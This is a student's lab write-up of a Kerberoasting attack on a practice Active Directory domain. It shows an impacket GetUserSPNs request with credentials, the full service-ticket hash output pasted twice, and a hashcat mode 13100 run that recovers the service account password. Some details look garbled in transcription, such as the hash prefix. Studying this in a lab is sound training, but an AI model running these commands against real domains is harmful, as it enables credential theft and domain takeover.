

06 - Kerberoasting - Lab

This will only require the DC machine to be on.

We just need to issue:

"#sudo GetUserSPNs.py ONEPIECE.local/LMonkey:Password1 -dc-ip 192.168.163.156 -request"

```
(kali@kali) ~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack
$ sudo GetUserSPNs.py ONEPIECE.local/LMonkey:Password1 -dc-ip 192.168.163.156 -request
[sudo] password for kali:
/usr/share/offsec-aaae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Impactet v0.9.19 - Copyright 2019 SecureAuth Corporation

ServicePrincipalName      Name      MemberOf
-----
GoingMerry-DC/SQLService.ONEPIECE.local  SQLService  CN=Group Policy Creator Owners,OU=Groups,DC=ONEPIECE,DC=local

2024-09-28 20:00:59 <never>

$krbtgs32$SQLService$ONEPIECE.LOCAL$GoingMerry-DC/SQLService.ONEPIECE.LOCAL$4b0196eab2d8d6238e48f91501de5632c3b28f0dfac2383f7b6f3ba07df91f8ab1a6e57e2269ac4760ef5cc7908f85173824bc09c638f301769bcb84e206cc39f733bbd9d495b14f0685812f81fd2908a78173a53cd81393c9d27ae
ebf2fc299cb0b95d2d3b3c5a8a388d2e9d2551333ce4f15ea19576ae36854006f5d5ac57db62638fbee9582b721a2d7bc9c68dea1a8c20902abddcd10ff836a240fc99ce94341788273e5c87b687c48f20479ca35c222d8d9188a0859782631c29fb656646858cb7d720b16d0e631e6fc097cbea844295aeb74430abc4f2f897cf12ae0
a7c6999c2a8975b3e35e4da86279c2729956bf3494aff4ca597d8793916e64554f125446a4f541f2c923fae61aa683add7c6ea7659811c94863fba0cd207ce11332cadf4417e81a7a93cc4673af7ae54684f154c9c83c444f0ce3ab0cd080c31707edccf313e8467faba7b10b7b2d9b4e22ef45c84894026c8c7d4cd81e3bfed7974dd6
b0dc93c0955f62375115c77a08516f0c977eb1ede183b2487293d08c687b1f94324a954343c593b32b0bc183e0c90dc40a96636363ca13477d968e30708a5480bf533ce22d74739a86ca31c3d3696689a3e11785f11c1507aa104bc1fc0d905bfc6e76cbf5f5cc2f5db0c587922c96022350207c97de54ed17183ed533288d762
72e721b643537bd40ab93a38589d38db9a0e74ab07077b636a5753b0c45591492ba0947453d3a18f8928fcd98d1efef61c384c7e770bd2c590b8e779c8bcbdbd1a22f0b06e7f734abafef5fa0f396112a0882c49b5380dd4f0284285d85abada50e36f18dabb0da2cecc726071c3bd55f0829959418c1e1807fb02a028
aa339087891c7e80bc19d4225a59749ee0f9d747fa094d0f4649d0cbfca3e3211aa8676a0689f34e80a169a4b923651208cad379a2f30d1d066765fdm0124338538b365e1fd8450c115327cecfad8f8e09a3940f6e90aa7a2894f9f8a9d0cb8275e947a298e509ff63e0ba7e53c0b05631797aeec3a6c55ad673808458e1
c48d31af0c4623232c4a1272308c5c9639568fdd3ef9a6c519d26782611b05dc8b1b0dd6d4171e695a1258ef7fbaec5cf798ba36f094785472284543f9b0cd2d18ac93dc66239777ad5a7f3662986bf3bc260bfc9096671223f6a413ff3b0cb0bb740896aa199a9cf58f9694fb88412deed42e0df8a8a52f1a748ffed7b7011b
ee5ce033a506783ac9a33c12daa9a9da0bc435ffbb0c932c91cb0fc940ed0ee30b286da03111e8710ef53a81e5d8428a2d1923ff53a8e6787d7096866c31f628b4e259db0cbe84be67762bed1563262f38fa180c1011fea5f8171d453057dc74d6a25d5baeced7fef29223158a290b29877ad2db8365e40be02b1494a8288
4a3e3e1fc10dc1b0c4f9622b713a6fe0cc1a2c5b96d32838439c58
```

We are going to grab this long ass hash. And, I mean everything. Then, crack it.

```
(kali@kali) ~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack
$ sudo GetUserSPNs.py ONEPIECE.local/LMonkey:Password1 -dc-ip 192.168.163.156 -request
[sudo] password for kali:
/usr/share/offsec-aaae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Impactet v0.9.19 - Copyright 2019 SecureAuth Corporation

ServicePrincipalName      Name      MemberOf
-----
GoingMerry-DC/SQLService.ONEPIECE.local  SQLService  CN=Group Policy Creator Owners,OU=Groups,DC=ONEPIECE,DC=local

2024-09-28 20:00:59 <never>

$krbtgs32$SQLService$ONEPIECE.LOCAL$GoingMerry-DC/SQLService.ONEPIECE.LOCAL$4b0196eab2d8d6238e48f91501de5632c3b28f0dfac2383f7b6f3ba07df91f8ab1a6e57e2269ac4760ef5cc7908f85173824bc09c638f301769bcb84e206cc39f733bbd9d495b14f0685812f81fd2908a78173a53cd81393c9d27ae
ebf2fc299cb0b95d2d3b3c5a8a388d2e9d2551333ce4f15ea19576ae36854006f5d5ac57db62638fbee9582b721a2d7bc9c68dea1a8c20902abddcd10ff836a240fc99ce94341788273e5c87b687c48f20479ca35c222d8d9188a0859782631c29fb656646858cb7d720b16d0e631e6fc097cbea844295aeb74430abc4f2f897cf12ae0
a7c6999c2a8975b3e35e4da86279c2729956bf3494aff4ca597d8793916e64554f125446a4f541f2c923fae61aa683add7c6ea7659811c94863fba0cd207ce11332cadf4417e81a7a93cc4673af7ae54684f154c9c83c444f0ce3ab0cd080c31707edccf313e8467faba7b10b7b2d9b4e22ef45c84894026c8c7d4cd81e3bfed7974dd6
b0dc93c0955f62375115c77a08516f0c977eb1ede183b2487293d08c687b1f94324a954343c593b32b0bc183e0c90dc40a96636363ca13477d968e30708a5480bf533ce22d74739a86ca31c3d3696689a3e11785f11c1507aa104bc1fc0d905bfc6e76cbf5f5cc2f5db0c587922c96022350207c97de54ed17183ed533288d762
72e721b643537bd40ab93a38589d38db9a0e74ab07077b636a5753b0c45591492ba0947453d3a18f8928fcd98d1efef61c384c7e770bd2c590b8e779c8bcbdbd1a22f0b06e7f734abafef5fa0f396112a0882c49b5380dd4f0284285d85abada50e36f18dabb0da2cecc726071c3bd55f0829959418c1e1807fb02a028
aa339087891c7e80bc19d4225a59749ee0f9d747fa094d0f4649d0cbfca3e3211aa8676a0689f34e80a169a4b923651208cad379a2f30d1d066765fdm0124338538b365e1fd8450c115327cecfad8f8e09a3940f6e90aa7a2894f9f8a9d0cb8275e947a298e509ff63e0ba7e53c0b05631797aeec3a6c55ad673808458e1
c48d31af0c4623232c4a1272308c5c9639568fdd3ef9a6c519d26782611b05dc8b1b0dd6d4171e695a1258ef7fbaec5cf798ba36f094785472284543f9b0cd2d18ac93dc66239777ad5a7f3662986bf3bc260bfc9096671223f6a413ff3b0cb0bb740896aa199a9cf58f9694fb88412deed42e0df8a8a52f1a748ffed7b7011b
ee5ce033a506783ac9a33c12daa9a9da0bc435ffbb0c932c91cb0fc940ed0ee30b286da03111e8710ef53a81e5d8428a2d1923ff53a8e6787d7096866c31f628b4e259db0cbe84be67762bed1563262f38fa180c1011fea5f8171d453057dc74d6a25d5baeced7fef29223158a290b29877ad2db8365e40be02b1494a8288
4a3e3e1fc10dc1b0c4f9622b713a6fe0cc1a2c5b96d32838439c58
```

Put in a txt file, then we can crack it.

To crack this one it is going to be code 13100 on hashcat. We need to learn how to properly look these up.

```
(kali@kali) ~/Desktop/TCM-ActiveDirectory-Lab/kerberoasting
$ hashcat -m 13100 kbr.txt /usr/share/wordlists/rockyou.txt
```

```
* Create more work items to make use of your parallelization power:
https://hashcat.net/fq/morework

$krbtgs32$SQLService$ONEPIECE.LOCAL$GoingMerry-DC/SQLService.ONEPIECE.LOCAL$4b0196eab2d8d6238e48f91501de5632c3b28f0dfac2383f7b6f3ba07df91f8ab1a6e57e2269ac4760ef5cc7908f85173824bc09c638f301769bcb84e206cc39f733bbd9d495b14f0685812f81fd2908a78173a53cd81393c9d27ae
ebf2fc299cb0b95d2d3b3c5a8a388d2e9d2551333ce4f15ea19576ae36854006f5d5ac57db62638fbee9582b721a2d7bc9c68dea1a8c20902abddcd10ff836a240fc99ce94341788273e5c87b687c48f20479ca35c222d8d9188a0859782631c29fb656646858cb7d720b16d0e631e6fc097cbea844295aeb74430abc4f2f897cf12ae0
a7c6999c2a8975b3e35e4da86279c2729956bf3494aff4ca597d8793916e64554f125446a4f541f2c923fae61aa683add7c6ea7659811c94863fba0cd207ce11332cadf4417e81a7a93cc4673af7ae54684f154c9c83c444f0ce3ab0cd080c31707edccf313e8467faba7b10b7b2d9b4e22ef45c84894026c8c7d4cd81e3bfed7974dd6
b0dc93c0955f62375115c77a08516f0c977eb1ede183b2487293d08c687b1f94324a954343c593b32b0bc183e0c90dc40a96636363ca13477d968e30708a5480bf533ce22d74739a86ca31c3d3696689a3e11785f11c1507aa104bc1fc0d905bfc6e76cbf5f5cc2f5db0c587922c96022350207c97de54ed17183ed533288d762
72e721b643537bd40ab93a38589d38db9a0e74ab07077b636a5753b0c45591492ba0947453d3a18f8928fcd98d1efef61c384c7e770bd2c590b8e779c8bcbdbd1a22f0b06e7f734abafef5fa0f396112a0882c49b5380dd4f0284285d85abada50e36f18dabb0da2cecc726071c3bd55f0829959418c1e1807fb02a028
aa339087891c7e80bc19d4225a59749ee0f9d747fa094d0f4649d0cbfca3e3211aa8676a0689f34e80a169a4b923651208cad379a2f30d1d066765fdm0124338538b365e1fd8450c115327cecfad8f8e09a3940f6e90aa7a2894f9f8a9d0cb8275e947a298e509ff63e0ba7e53c0b05631797aeec3a6c55ad673808458e1
c48d31af0c4623232c4a1272308c5c9639568fdd3ef9a6c519d26782611b05dc8b1b0dd6d4171e695a1258ef7fbaec5cf798ba36f094785472284543f9b0cd2d18ac93dc66239777ad5a7f3662986bf3bc260bfc9096671223f6a413ff3b0cb0bb740896aa199a9cf58f9694fb88412deed42e0df8a8a52f1a748ffed7b7011b
ee5ce033a506783ac9a33c12daa9a9da0bc435ffbb0c932c91cb0fc940ed0ee30b286da03111e8710ef53a81e5d8428a2d1923ff53a8e6787d7096866c31f628b4e259db0cbe84be67762bed1563262f38fa180c1011fea5f8171d453057dc74d6a25d5baeced7fef29223158a290b29877ad2db8365e40be02b1494a8288
4a3e3e1fc10dc1b0c4f9622b713a6fe0cc1a2c5b96d32838439c58 Mypassword123#

Session.....: hashcat
Status.....: Cracked
Hash Mode.....: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash Target....: $krbtgs32$SQLService$ONEPIECE.LOCAL$GoingMerry-D...439c58
Time Started...: Sun Nov 3 17:51:56 2024 (11 secs)
Time Estimated.: Sun Nov 3 17:52:07 2024 (0 secs)
Kernel Feature.: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1025.8 kH/s (0.50ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 10846288/14344385 (75.61%)
Rejected.....: 0/10846288 (0.00%)
Restore.Point...: 10845194/14344385 (75.61%)
Restore.Sub.#1..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine: Device Generator
Candidates.#1...: M20R1CA -> MYSEFonly4EVER
Hardware.Mon.#1.: Util: 49%

Started: Sun Nov 3 17:51:36 2024
Stopped: Sun Nov 3 17:52:08 2024
```

Password: Mypassword123# .

Now, we should be able to use this Domain Admin account, and own the domain. But we are not doing that yet.